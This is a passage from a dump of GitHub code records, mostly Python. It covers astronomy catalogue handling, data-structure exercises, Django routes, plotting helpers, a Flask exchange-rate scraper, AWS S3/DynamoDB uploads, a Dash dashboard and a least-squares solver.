[]\nfor fits_file in glob(tails_dir + '*.dat'):\n cluster = fits_file.split('/')[-1].split('.')[0]\n cluster_stars = Table.from_pandas(pd.read_csv(fits_file, delim_whitespace=True))\n\n if len(cluster_stars) <= 0:\n continue\n\n # class_col = 'class'\n # if class_col in cluster_stars.colnames:\n # # select only tail members for Blanco1 if even needed - needs some test\n # cluster_stars = cluster_stars[cluster_stars[class_col] == 't']\n\n cluster_stars['cluster'] = cluster\n print(cluster_stars['source_id', 'cluster'])\n tails_data.append(cluster_stars['source_id', 'cluster'])\nvstack(tails_data).write(tails_dir + 'members_open_gaia_tails.fits', overwrite=True)\n","repo_name":"kcotar/Gaia_clusters_potential","sub_path":"compare_member_selection_Janez_moje.py","file_name":"compare_member_selection_Janez_moje.py","file_ext":"py","file_size_in_byte":2390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"29113204877","text":"class Node:\n\tdef __init__(self, x):\n\t\tself.data=x\n\t\tself.next=None\n\nclass linked_list:\n\tdef __init__(self, h):\n\t\tself.head=h\n\tdef construct_ll(self, arr):\n\t\tcurr=self.head\n\t\tfor i in arr:\n\t\t\tcurr.next=Node(i)\n\t\t\tcurr=curr.next\n\t\t\t\n\tdef print_ll(self):\n\t\tcurr=self.head\n\t\twhile curr!=None:\n\t\t\tprint(curr.data, end=' ')\n\t\t\tcurr=curr.next\n\tdef ele_sorted_arr(self, ele):\n\t\tx=Node(ele)\n\t\tprev=None\n\t\tcurr=self.head\n\t\twhile curr!=None and ele>curr.data:\n\t\t\tprev=curr\n\t\t\tcurr=curr.next\n\t\tif prev==None:\n\t\t\tself.head=x\n\t\t\treturn\n\t\tif curr==None:\n\t\t\tprev.next=x\n\t\t\tx.next=None\n\t\t\treturn\n\t\tx.next=curr\n\t\tprev.next=x\n\narr=[11,12,15,17,18]\nll=linked_list(Node(arr[0]))\nll.construct_ll(arr[1:])\nll.print_ll()\nprint()\nll.ele_sorted_arr(60)\nll.print_ll()","repo_name":"shalini-susmita/data-structure-algorithms-problems","sub_path":"Linked List/ll2.py","file_name":"ll2.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"33084820317","text":"from django.urls import path\r\nfrom . import views\r\n\r\nurlpatterns = [\r\n path('store/author/list',views.AuthorListAPIView.as_view(), name='authors'),\r\n path('store/author/', views.AuthorRetrieveAPIView.as_view(), name='author_detail'),\r\n path('store/books', views.BookListAPIView.as_view(), name='books'),\r\n path('store/books/', views.BookRetrieveAPIView.as_view(), name='book_detail'),\r\n path('store/books/create', views.BookCreateAPIView.as_view(), name='create_books'),\r\n path('store/books/update/', views.BookUpdateAPIView.as_view(), name='update_book'),\r\n path('store/books/delete/', views.BookDeleteAPIView.as_view(), name='delete_book'),\r\n ]\r\n","repo_name":"jessc1/apistorebooks","sub_path":"store/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"6771689551","text":"from typing import Optional, Union\nimport os\nimport importlib\nfrom matplotlib.figure import Figure\nimport matplotlib.pyplot as plt\nfrom PyExpPlotting.defaults import ICML_Dimensions, PaperDimensions, getDefaultDimensions\n\ndefault_conference = ICML_Dimensions\ndef setDefaultConference(conference: Union[str, PaperDimensions]):\n global default_conference\n if type(conference) is str:\n default_conference = getDefaultDimensions(conference)\n\n elif type(conference) is PaperDimensions:\n default_conference = conference\n\n else:\n raise NotImplementedError('Should be unreachable, but types say otherwise')\n\n setFonts(default_conference.font_size)\n\ndef setFonts(font_size: int):\n small = font_size - 4\n medium = font_size - 2\n large = font_size\n\n plt.rc('font', size=small) # controls default text sizes\n plt.rc('axes', titlesize=medium) # fontsize of the axes title\n plt.rc('axes', labelsize=medium) # fontsize of the x and y labels\n plt.rc('xtick', labelsize=small) # fontsize of the tick labels\n plt.rc('ytick', labelsize=small) # fontsize of the tick labels\n plt.rc('legend', fontsize=medium) # legend fontsize\n plt.rc('figure', titlesize=large) # fontsize of the figure title\n\ndef save(\n save_path: str,\n plot_name: str,\n plot_type: Optional[str] = None,\n dims: Optional[PaperDimensions] = None,\n save_type: str = 'png',\n width: float = 1.0,\n height_ratio: float = 1.0,\n f: Optional[Figure] = None,\n ):\n\n # don't make this a default because it could be changed\n # after this function is parsed\n if f is None:\n f = plt.gcf()\n\n # likewise could be changed after function parse\n # so cannot be a default parameter\n if not dims:\n dims = default_conference\n\n # too much logic to stick in default parameters\n if plot_type is None:\n main_file = importlib.import_module('__main__').__file__\n assert main_file is not None\n plot_type = os.path.basename(main_file).replace('.py', '').replace('_', '-')\n\n save_path = f'{save_path}/{plot_type}'\n os.makedirs(save_path, exist_ok=True)\n\n width = width * dims.column_width\n height = width * height_ratio\n f.set_size_inches((width, height), forward=True)\n f.savefig(f'{save_path}/{plot_name}.{save_type}', dpi=600, bbox_inches='tight')\n","repo_name":"andnp/PyExpPlotting","sub_path":"PyExpPlotting/matplot.py","file_name":"matplot.py","file_ext":"py","file_size_in_byte":2393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"19574069271","text":"from flask import Flask, render_template\nimport pandas as pd\nimport matplotlib\nimport matplotlib.pyplot as plt\nfrom io import BytesIO\nimport base64\nfrom bs4 import BeautifulSoup\nimport requests\n\n# don't change this\nmatplotlib.use('Agg')\napp = Flask(__name__) # do not change this\n\n# insert the scrapping here\nurl_get = requests.get('https://www.exchange-rates.org/history/IDR/USD/T')\nsoup = BeautifulSoup(url_get.content, \"html.parser\")\n\ntable = soup.find('table', attrs={\n 'class': 'table table-striped table-hover table-hover-solid-row table-simple history-data'})\ntr = table.find_all('tr', attrs={'class': None})\ntemp = [] # initiating a tuple\n\nfor i in range(1, len(tr)):\n #scrapping process\n row = table.find_all('tr', attrs={'class': None})[i]\n \n #get date\n date = row.find_all('td')[0].text\n date = date.strip() #for removing the excess whitespace\n \n #get exchange rates\n xc_rate = row.find_all('td')[2].text\n xc_rate = xc_rate.strip() #for removing the excess whitespace\n \n temp.append((date, xc_rate))\n \ntemp\n\n# change into dataframe\ndata = pd.DataFrame(temp, columns=('date', 'exchange_rates'))\n\n# insert data wrangling here\ndata['exchange_rates'] = data['exchange_rates'].str.replace(' IDR','')\ndata['exchange_rates'] = data['exchange_rates'].str.replace(',','')\ndata['exchange_rates'] = data['exchange_rates'].astype('float64')\ndata['date'] = data['date'].astype('datetime64')\n\n# end of data wranggling\n\n\n@app.route(\"/\")\ndef index():\n\n card_data = f'{data[\"exchange_rates\"].mean().round(2)} IDR'\n\n # generate plot\n plt.plot(data['date'], data['exchange_rates'], linestyle='-', label='IDR/USD')\n plt.xlabel('Date Period')\n plt.ylabel('Exchange Rates (IDR)') \n plt.title('Indonesian Rupiahs (IDR) per US Dollar (USD)')\n plt.legend()\n\n # Rendering plot\n # Do not change this\n figfile = BytesIO()\n plt.savefig(figfile, format='png', transparent=True)\n figfile.seek(0)\n figdata_png = base64.b64encode(figfile.getvalue())\n plot_result = str(figdata_png)[2:-1]\n\n # render to html\n return render_template('index.html', card_data=card_data, plot_result=plot_result)\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n","repo_name":"juanjosua/capstone-webscraping","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2228,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"74429410794","text":"\"\"\"\nUnion-Find (disjoint set)\n\nhttps://www.youtube.com/watch?v=zV3Ul2pA2Fw\n\n\"\"\"\nimport collections\n\nclass UnionFind(object):\n def __init__(self, n):\n self.parent = [-1] * n\n self.n = n\n\n def __repr__(self):\n d = collections.defaultdict(set)\n for i in range(len(self.parent)):\n d[self.root(i)].add(i)\n return \" \".join(map(str, d.values()))\n\n def __str__(self):\n return self.__repr__()\n\n def check_sanity(self, a):\n if not (0 <= a < self.n):\n raise ValueError(\"Out of bound!\")\n\n def root(self, a):\n self.check_sanity(a)\n if self.parent[a] < 0:\n return a\n self.parent[a] = self.root(self.parent[a])\n return self.parent[a]\n\n def size(self, a):\n self.check_sanity(a)\n return -self.parent[self.root(a)]\n\n def connect(self, a, b):\n self.check_sanity(a)\n self.check_sanity(b)\n\n root_a = self.root(a)\n root_b = self.root(b)\n\n if root_a == root_b:\n return False\n\n if self.size(a) < self.size(b):\n root_a, root_b = root_b, root_a\n\n self.parent[root_a] += self.parent[root_b]\n self.parent[root_b] = root_a\n\n def is_connected(self, a, b):\n return self.root(a) == self.root(b)\n\n\ndef test_unionfind():\n uni = UnionFind(10)\n uni.connect(0, 4)\n uni.connect(8, 9)\n uni.connect(0, 6)\n uni.connect(8, 9)\n assert '{0, 4, 6} {1} {2} {3} {5} {7} {8, 9}'\n assert uni.size(0) == uni.size(4) == uni.size(6) == 3\n assert uni.size(1) == uni.size(2) == uni.size(3) == uni.size(5) == uni.size(7) == 1\n assert uni.size(8) == uni.size(9) == 2\n assert uni.root(0) == uni.root(4) == uni.root(6) == 0\n assert uni.root(8) == uni.root(9) == 8\n assert uni.root(3) == 3\n assert uni.is_connected(4, 6)\n assert not uni.is_connected(4, 9)\n\n uni.connect(4, 9)\n assert '{0, 4, 6, 8, 9} {1} {2} {3} {5} {7}'\n assert uni.size(0) == uni.size(4) == uni.size(6) == uni.size(8) == uni.size(9)== 5\n assert uni.size(1) == uni.size(2) == uni.size(3) == uni.size(5) == uni.size(7) == 1\n assert uni.root(0) == uni.root(4) == uni.root(6) == 0\n assert uni.root(8) == uni.root(9) == 0\n assert uni.root(3) == 3\n assert uni.is_connected(4, 6)\n assert uni.is_connected(6, 8)\n\n\nif __name__ == \"__main__\":\n test_unionfind()","repo_name":"yamaton/atcoder","sub_path":"util/python/unionfind.py","file_name":"unionfind.py","file_ext":"py","file_size_in_byte":2367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"70116855592","text":"import os\nimport csv\nimport umap\nimport json\nimport librosa\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn import preprocessing\nfrom sklearn.manifold import TSNE\nfrom sklearn.decomposition import PCA\nfrom sklearn.preprocessing import MinMaxScaler\n\n#Not sure if we need magenta\n# from magenta.models.nsynth import utils\n# from magenta.models.nsynth.modelA import fastgen\n\nnp.random.seed(8)\n\nimport utils\nimport config\n\n####\n\n\ndef get_scaled_tsne_embeddings(features,labels, perplexity, iteration):\n embedding = TSNE(n_components=2,\n perplexity=perplexity,\n n_iter=iteration).fit_transform(features)\n scaler = MinMaxScaler()\n scaler.fit(embedding)\n\n #print (scaler.transform(embedding))\n embed = scaler.transform(embedding)\n return embed\n\n\ndef transform_numpy_to_json(array, labels):\n data = []\n for index, position in enumerate(array):\n position_list = position.tolist()\n position_list.append(labels[index])\n\n data.append({\n 'coordinates': position_list\n })\n return data\n\n\ndef get_scaled_umap_embeddings(features,labels, neighbour, distance):\n\n embedding = umap.UMAP(n_neighbors=neighbour,\n min_dist=distance,\n metric='correlation').fit_transform(features)\n scaler = MinMaxScaler()\n scaler.fit(embedding)\n embed = scaler.transform(embedding)\n return embed\n\ndef get_pca(features, labels):\n pca = PCA(n_components=2)\n transformed = pca.fit(features).transform(features)\n scaler = MinMaxScaler()\n scaler.fit(transformed)\n embed = scaler.transform(transformed)\n return embed\n\n\n#####\n\ndef create_embeddings(listPath, modelA_features,modelA_labels, modelB_features, modelB_labels):\n\n modelA_features = np.nan_to_num(np.array(modelA_features))\n modelB_features = np.array(modelB_features)\n\n modelB_tuples = []\n modelA_tuples = []\n all_file_paths = []\n\n if(os.path.isfile(listPath)):\n with open(listPath, \"r\") as fp:\n for i, line in enumerate(fp):\n line = line.replace('.au\\n','.wav')\n all_file_paths.append(line)\n\n all_json = dict()\n all_json[\"filenames\"] = all_file_paths\n\n print(len(all_file_paths),\n modelA_features.shape,\n modelB_features.shape)\n\n\n tnse_embeddings_modelB = []\n tnse_embeddings_modelA = []\n perplexities = [2, 5, 30, 50, 100]\n iterations = [250, 300, 350, 400, 500]\n # perplexities = [2, 5]\n # iterations = [250, 300]\n for i, perplexity in enumerate(perplexities):\n for j, iteration in enumerate(iterations):\n print (\"Perplexity : \",perplexity,\" Iterations :\", iteration)\n tsne_modelB = get_scaled_tsne_embeddings(modelB_features,\n modelB_labels,\n perplexity,\n iteration)\n tnse_modelA = get_scaled_tsne_embeddings(modelA_features,\n modelA_labels,\n perplexity,\n iteration)\n tnse_embeddings_modelB.append(tsne_modelB)\n tnse_embeddings_modelA.append(tnse_modelA)\n\n modelB_key = 'tsnemodelB{}{}'.format(i, j)\n modelA_key = 'tsnemodelA{}{}'.format(i, j)\n\n all_json[modelB_key] = transform_numpy_to_json(tsne_modelB,modelB_labels)\n all_json[modelA_key] = transform_numpy_to_json(tnse_modelA,modelA_labels)\n\n # fig, ax = plt.subplots(nrows=len(perplexities),\n # ncols=len(iterations),\n # figsize=(30, 30))\n\n # for i, row in enumerate(ax):\n # for j, col in enumerate(row):\n # current_plot = i * len(iterations) + j\n # col.scatter(tnse_embeddings_modelB[current_plot].T[0],\n # tnse_embeddings_modelB[current_plot].T[1],\n # s=1)\n # plt.show()\n\n\n umap_embeddings_modelB = []\n umap_embeddings_modelA = []\n neighbours = [5, 10, 15, 30, 50]\n distances = [0.000, 0.001, 0.01, 0.1, 0.5]\n # neighbours = [5]\n # distances = [0.000, 0.001]\n for i, neighbour in enumerate(neighbours):\n for j, distance in enumerate(distances):\n print (\"neighbour : \",neighbour,\" distance :\", distance)\n umap_modelB = get_scaled_umap_embeddings(modelB_features,\n modelB_labels,\n neighbour,\n distance)\n umap_modelA = get_scaled_umap_embeddings(modelA_features,\n modelA_labels,\n neighbour,\n distance)\n umap_embeddings_modelB.append(umap_modelB)\n umap_embeddings_modelA.append(umap_modelA)\n\n modelB_key = 'umapmodelB{}{}'.format(i, j)\n modelA_key = 'umapmodelA{}{}'.format(i, j)\n\n all_json[modelB_key] = transform_numpy_to_json(umap_modelB,modelB_labels)\n all_json[modelA_key] = transform_numpy_to_json(umap_modelA,modelA_labels)\n\n\n\n pca_modelB = get_pca(modelB_features,modelB_labels)\n pca_modelA = get_pca(modelA_features,modelA_labels)\n\n modelB_key = 'pcamodelB'\n modelA_key = 'pcamodelA'\n\n all_json[modelB_key] = transform_numpy_to_json(pca_modelB,modelB_labels)\n all_json[modelA_key] = transform_numpy_to_json(pca_modelA,modelA_labels)\n\n\n json_name = \"data.json\"\n json_string = \"d = '\" + json.dumps(all_json) + \"'\"\n with open(json_name, 'w') as json_file:\n json_file.write(json_string)\n\n\n\n\npredicted_prob,y_data,num_frames_test = utils.load_h5(config.SOFTMAX_RESULT_FILE)\n\ncreate_embeddings(config.ALL_SONGS_PATHS,predicted_prob,y_data,predicted_prob,y_data)\n","repo_name":"codeJRV/MusicMapz","sub_path":"create_tsne_embeddings.py","file_name":"create_tsne_embeddings.py","file_ext":"py","file_size_in_byte":6082,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"24483989080","text":"print(\"Starting\")\r\n\r\nimport fractions\r\n\r\nMAX = 1500000\r\nanswer = [0]*MAX\r\n\r\nfor i in range(1, int(MAX**0.5+1),2):\r\n print(i)\r\n for j in range(2, int(MAX**0.5+1)-i,2):\r\n m = max(i,j)\r\n n = min(i,j)\r\n if fractions.gcd(n,m) == 1 and (m-n)%2 == 1 and 2*(m**2+n*m) <= MAX:\r\n val = 2*(m**2+m*n)\r\n for k in range(val,MAX,val):\r\n answer[k]+=1\r\n\r\nprint(answer.count(1))\r\ninput(\"Done\")\r\n\r\n","repo_name":"alexandrepoulin/ProjectEulerInPython","sub_path":"problems/problem 75.py","file_name":"problem 75.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"7071925736","text":"'''\nA positive integer is considered uniform if all of its digits are equal. For example, 222222 is uniform, while 223223 is not.\nGiven two positive integers AA and BB, determine the number of uniform integers between AA and BB, inclusive.\nPlease take care to write a solution which runs within the time limit.\nConstraints\n1 \\le A \\le B \\le 10^{12}1≤A≤B≤10\n12\n\nSample test case #1\nA = 75\nB = 300\nExpected Return Value = 5\nSample test case #2\nA = 1\nB = 9\nExpected Return Value = 9\nSample test case #3\nA = 999999999999\nB = 999999999999\nExpected Return Value = 1\nSample Explanation\nIn the first case, the uniform integers between 7575 and 300300 are 7777, 8888, 9999, 111111, and 222222.\nIn the second case, all 99 single-digit integers between 11 and 99 (inclusive) are uniform.\nIn the third case, the single integer under consideration (999{,}999{,}999{,}999999,999,999,999) is uniform.\n'''\n\n\ndef getUniformIntegerCountInInterval(A, B):\n # Write your code here\n import math\n\n x = A\n n = int(math.log10(A))\n increment = 1\n for i in range(1, n + 1):\n increment += 10 ** i\n\n first = int(str(A)[0] * len(str(A)))\n count = 0\n x = first\n while A <= x and x <= B:\n print (\"x=\",x)\n count += 1\n if str(x)[0] != '9':\n x += increment\n else:\n increment += 10 ** int(math.log10(increment) + 1)\n print(\"inc=\", increment)\n #x=int(\"1\"*len)\n x = increment\n\n return count\nA=75\nB=300\nprint (getUniformIntegerCountInInterval(A, B))\n\nA=99999999\nB=999999999999\nprint (getUniformIntegerCountInInterval(A, B))","repo_name":"Roberttguo/algorithm_data_structure","sub_path":"Uniform_Integers.py","file_name":"Uniform_Integers.py","file_ext":"py","file_size_in_byte":1613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"30649022627","text":"import boto3\nimport csv\n\ns3 = boto3.resource('s3')\n\ntry:\n s3.create_bucket(Bucket='datacont-ktd15', CreateBucketConfiguration={'LocationConstraint': 'us-west-2'})\nexcept:\n print(\"Bucket already exists\")\n\ns3.Object('datacont-ktd15', 'test.jpg').put(\n Body=open('test.jpg', 'rb')\n)\n\ndyndb = boto3.resource('dynamodb', region_name='us-west-2')\n\ntry:\n table = dyndb.create_table (\n TableName='DataTable',\n KeySchema=[\n {'AttributeName': 'PartitionKey', 'KeyType': 'HASH'},\n {'AttributeName': 'RowKey', 'KeyType': 'RANGE'}\n ],\n AttributeDefinitions=[\n {'AttributeName': 'PartitionKey', 'AttributeType': 'S'},\n {'AttributeName': 'RowKey', 'AttributeType': 'S'}\n ],\n ProvisionedThroughput={\n 'ReadCapacityUnits': 5,\n 'WriteCapacityUnits': 5\n }\n )\nexcept:\n table = dyndb.Table(\"DataTable\")\n\ntable.meta.client.get_waiter('table_exists').wait(TableName='DataTable')\n\nwith open('experiments.csv', 'r') as csvfile:\n csvf = csv.reader(csvfile, delimiter=',', quotechar='|')\n for item in csvf:\n print(item)\n body = open('datafiles/'+item[3], 'rb')\n s3.Object('datacont-ktd15', item[3]).put(Body=body)\n md = s3.Object('datacont-ktd15', item[3]).Acl().put(ACL='public-read')\n\n url = \"https://s3-us-west-2.amazonaws.com/datacont-ktd15/\"+item[3]\n metadata_item = {'PartitionKey': item[0], 'RowKey': item[1],\n 'description': item[4], 'date': item[2], 'url':url}\n try:\n table.put_item(Item=metadata_item)\n except:\n print(\"item may already be there or another failure\")\n\nresponse = table.get_item(\n Key={\n 'PartitionKey': 'experiment3',\n 'RowKey': '4'\n }\n )\nitem = response['Item']\nprint(item)","repo_name":"ktdemay/Cloud-Computing-HW2","sub_path":"hw2.py","file_name":"hw2.py","file_ext":"py","file_size_in_byte":1827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"1184002718","text":"import dash\nimport dash_table\nfrom dash.dependencies import Input, Output\nimport dash_core_components as dcc\nimport dash_html_components as html\nfrom dash.dash import no_update\nimport pandas as pd\nfrom datetime import date\nimport webbrowser\n\ndef create_app():\n # importing csv into DataFrame\n df=pd.read_csv('FM02_File_Search_df.csv')\n\n folder_list=df['Root_Folder'].unique()\n\n\n # Create Dash object\n app = dash.Dash(__name__)\n\n\n # Creating app layout\n app.layout=html.Div([\n html.Div([html.H1('File Path Lookup'),\n dcc.Dropdown(\n id='folder-dropdown',\n options=[{'label': k, 'value': k} for k in folder_list],\n multi=True,\n value=folder_list),\n html.H3('Search by Keyword:'),\n dcc.Input(id='keyword-box',placeholder='Enter keyword seperated by comma',value='',type='text',style={'width':'40%'})]),\n html.Div([\n dash_table.DataTable(\n id='datatable-interactivity',\n columns=[\n {\"name\": i, \"id\": i} for i in df.columns\n ],\n data=df.to_dict('records'),\n style_header={'backgroundColor': 'rgb(221, 65, 36)','fontWeight': 'bold','color':'white'},\n style_data_conditional=[{'if': {'row_index': 'odd'},'backgroundColor': 'rgb(204, 204, 255)'}],\n style_cell={'textAlign': 'left'},\n style_as_list_view=True,\n editable=False,\n filter_action=\"native\",\n sort_action=\"native\",\n sort_mode=\"multi\",\n column_selectable=False,\n row_selectable=False,\n row_deletable=False,\n selected_columns=[],\n selected_rows=[],\n page_action=\"native\",\n page_current= 0,\n page_size= 10)], style={'width': '80%','font-family':'Arial Black','margin-left':'auto','margin-right':'auto',\n 'display': 'inline-block'})\n ])\n\n\n\n @app.callback(Output(component_id='datatable-interactivity', component_property='data'),\n [Input(component_id='keyword-box', component_property='value'),Input(component_id='folder-dropdown', component_property='value')])\n def filter_table(keywords,folders):\n keywords_split=keywords.split(',')\n keywords_split_upper=[word.upper() for word in keywords_split]\n keywords_regex= '|'.join(keywords_split_upper)\n df_filter=df.File_Path.str.upper().str.contains(keywords_regex)\n filtered_df=df[df_filter]\n df_folder_filter=filtered_df.Root_Folder.isin(folders)\n filtered_df=filtered_df[df_folder_filter]\n return filtered_df.to_dict('records')\n\n return app\n\n# Assign dash object to app\napp=create_app()\n\n# Register webbrowser\nchrome_path=\"C:\\\\Program Files (x86)\\\\Google\\\\Chrome\\\\Application\\\\chrome.exe\"\nwebbrowser.register('chrome', None,webbrowser.BackgroundBrowser(chrome_path))\n\n# Run app\nif __name__ == '__main__':\n webbrowser.get('chrome').open_new('http://127.0.0.1:8050/')\n app.run_server(debug=False)\n","repo_name":"fabricerjsjoseph/File-Location-Lookup","sub_path":"FM01_File_Search_Dashboard.py","file_name":"FM01_File_Search_Dashboard.py","file_ext":"py","file_size_in_byte":2980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"12887235165","text":"import random\r\nimport math\r\nimport time\r\n\r\ndef pontos(n):\r\n\tx = []\r\n\ty = []\r\n\r\n\tfor i in range(n):\r\n\t\tprint(\"Digite X\",i+1,\":\")\r\n\t\ta = int(input())\r\n\t\tx.append(a)\r\n\t\tprint(\"Digite Y\",i+1,\":\")\r\n\t\tb = int(input())\r\n\t\ty.append(b)\r\n\treturn x,y\r\n\r\ndef sistemaNormal(x, y, n):\r\n\ta = 0\r\n\tmatrizNormal = []\r\n\tm = math.sqrt(n)\r\n\tm = int(m)\r\n\tfor i in range(m):\r\n\t\tlinha = []\r\n\t\tfor j in range(m):\r\n\t\t\ta = 0\r\n\t\t\tfor k in range(n):\r\n\t\t\t\ta = a + 1 * pow(x[k],j+i)\r\n\t\t\tlinha.append(a)\r\n\t\tmatrizNormal.append(linha)\r\n\treturn matrizNormal\r\n\r\ndef matrizB(x, y, n):\r\n\ta = 0\r\n\tmatriz = []\r\n\tm = math.sqrt(n)\r\n\tm = int(m)\r\n\tfor i in range(m):\r\n\t\tlinha = []\r\n\t\tfor j in range(1):\r\n\t\t\ta = 0\r\n\t\t\tfor k in range(n):\r\n\t\t\t\ta = a + y[k] * pow(x[k],i)\r\n\t\t\tlinha.append(a)\r\n\t\tmatriz.append(linha)\r\n\treturn matriz\r\n\r\ndef matrizIdentidade(nF):\r\n n = nF\r\n matriz = [] # lista vazia\r\n valor = 0\r\n for i in range(n):\r\n # cria a linha i\r\n linha = [] # lista vazia\r\n for j in range(n):\r\n linha.append(int(valor))\r\n # coloque linha na matriz\r\n matriz.append(linha)\r\n for i in range(n):\r\n for j in range(n):\r\n if i == j:\r\n matriz[i][j] = 1\r\n return matriz\r\n\r\ndef gauss(M, n2):\r\n\t#triang. Inferior\r\n\tcontPivo = 0\r\n\tfor j in range(n2):\r\n\t\tcontPivo = contPivo + 1\r\n\t\tfor i in range(n2):\r\n\t\t\tif i == contPivo - 1:\r\n\t\t\t\tden = M[contPivo-1][j]\r\n\t\t\t\tfor k in range(n2*2):\r\n\t\t\t\t\tM[i][k] = M[i][k] * (1/den)\r\n\t\t\tif i > contPivo - 1:\r\n\t\t\t\tpivoLoc = M[i][j]\r\n\t\t\t\tfor k in range(n2*2):\r\n\t\t\t\t\tM[i][k] = M[i][k] - (pivoLoc * M[contPivo - 1][k])\r\n\t#triangSup\r\n\tfor j in range(n2):\r\n\t\tfor i in range(n2):\r\n\t\t\tif i == j and i > 0:\r\n\t\t\t\tpivo = M[i][j]\r\n\t\t\t\tfor l in range(i):\r\n\t\t\t\t\tpivoLoc = M[l][j]\r\n\t\t\t\t\tfor k in range((n2*2)-j):\r\n\t\t\t\t\t\tM[l][j+k] = M[l][j+k] - (pivoLoc * M[i][j+k])\r\n\treturn M\r\n\r\ndef alocaMatriz(n,m):\r\n matriz = [] # lista vazia\r\n valor = 0\r\n for i in range(n):\r\n # cria a linha i\r\n linha = [] # lista vazia\r\n for j in range(m):\r\n linha.append(int(valor))\r\n\r\n # coloque linha na matriz\r\n matriz.append(linha) \r\n return matriz\r\n\r\ndef multiplicaAinB(A,B,n2):\r\n\tC = alocaMatriz(n2,1)\r\n\tfor i in range(n2):\r\n\t\tfor j in range(n2):\r\n\t\t\tC[i][0] = C[i][0] + (A[i][j] * B[j][0])\r\n\treturn C\r\n\r\ndef testa(x,y,n):\r\n\tprint(\"Os pontos são: \")\r\n\tfor i in range(n):\r\n\t\tprint(\"(\",x[i],\",\",y[i],\")\")\r\n\tprint(\"Passo 1: Dado os pontos, calcular as matrizes A e B que irão compor o Sistema Normal\")\r\n\tprint(\"Matriz A:\")\r\n\tmatriz = sistemaNormal(x,y,n)\r\n\tprint(\"matriznormal\",matriz)\r\n\tprint(matriz)\r\n\tmatriz2 = matrizB(x,y,n)\r\n\tprint(\"matrizB\",matriz2)\r\n\r\n\tn2 = math.sqrt(n)\r\n\tn2 = int(n2)\r\n\tmIdentidade = matrizIdentidade(n2)\r\n\tprint(\"matrizI:\",mIdentidade)\r\n\r\n\tmMatriz = []\r\n\tfor i in range(n2):\r\n\t\tlinha = []\r\n\t\tfor j in range(n2):\r\n\t\t\tlinha.append(matriz[i][j])\r\n\t\tfor j in range(n2):\r\n\t\t\tlinha.append(mIdentidade[i][j])\r\n\t\tmMatriz.append(linha)\r\n\r\n\t#Pela lógica AX = B -> X = A^-1*B\r\n\tmatrizApoio = gauss(mMatriz, n2)\r\n\r\n\tmatrizInversa = []\r\n\tfor i in range(n2):\r\n\t\tlinha = []\r\n\t\tfor j in range(n2):\r\n\t\t\tlinha.append(matrizApoio[i][j+n2])\r\n\t\tmatrizInversa.append(linha)\r\n\tprint(\"Passo 2: Dada as matrizes, calcular as incógnitas pelo Método de eliminação de Gauss. Pela lógica AX = B -> X = A^-1*B \")\r\n\tprint(\"Arredondando, matriz inversa de A é:\")\r\n\timprime_matriz(matrizInversa)\r\n\tprint(\"Por fim, para o polinômio na forma: p(x) = a0 + a1X + a2x^2 + ... + amX^m, temos:\")\r\n\tC = multiplicaAinB(matrizInversa, matriz2,n2)\r\n\r\n\tfor i in range(n2):\r\n\t\tprint(\"a\",i,\":\",C[i][0],\"(aproximadamente\",round(arredondar(C[i][0]),1),\")\")\r\n\r\ndef testes():\r\n\tprint(\"teste 1\")\r\n\ttime.sleep(2)\r\n\tx = [-1,0,1,2,7,3,1,4,3]\r\n\ty = [1,-1,2,3,4,3,2,5,6]\r\n\tn = 9\r\n\ttime.sleep(2)\r\n\ttesta(x,y,n)\r\n\tx = [1,-2,0,4]\r\n\ty = [2,4,0,-2]\r\n\tn = 4\r\n\ttime.sleep(2)\r\n\ttesta(x,y,n)\r\n\tx = [1,4]\r\n\ty = [-1,2]\r\n\tn = 2\r\n\ttime.sleep(2)\r\n\ttesta(x,y,n)\r\n\tx = [0,-1,0,-1,0]\r\n\ty = [-1,0,-1,0,0]\r\n\tn = 5\r\n\ttime.sleep(2)\r\n\ttesta(x,y,n)\r\n\tx = [0,-1,0,0,0]\r\n\ty = [0,0,0,0,-1]\r\n\tn = 5\r\n\ttime.sleep(2)\r\n\ttesta(x,y,n)\r\n\tx = [1]\r\n\ty = [1]\r\n\tn = 1\r\n\ttime.sleep(2)\r\n\ttesta(x,y,n)\r\n\tx = [12,-11,18,123,2]\r\n\ty = [90,1,2,17,-1]\r\n\tn = 5\r\n\ttime.sleep(2)\r\n\ttesta(x,y,n)\r\n\r\ndef arredondar(num):\r\n return float( '%g' % ( num ) )\r\n\r\ndef imprime_matriz(matriz):\r\n\r\n linhas = len(matriz)\r\n colunas = len(matriz[0])\r\n\r\n for i in range(linhas):\r\n for j in range(colunas):\r\n if(j == colunas - 1):\r\n print(\"%.2f\" %matriz[i][j])\r\n else:\r\n print(\"%.2f\" %matriz[i][j], end = \" \")\r\n print()\r\n\r\n\r\n\r\nsair = 0\r\nwhile(sair == 0):\r\n\tprint(\"##Menu##\")\r\n\tprint(\"Digite \"\"1\"\" para executar os testes\")\r\n\tprint(\"Digite \"\"2\"\" para introduzir pontos para novos testes\")\r\n\tprint(\"Digite \"\"3\"\" para sair\")\r\n\ta = input()\r\n\ta = int(a)\r\n\tif a == 1:\r\n\t\ttestes()\r\n\tif a == 2:\r\n\t\tprint(\"Digite quantos pontos você quer 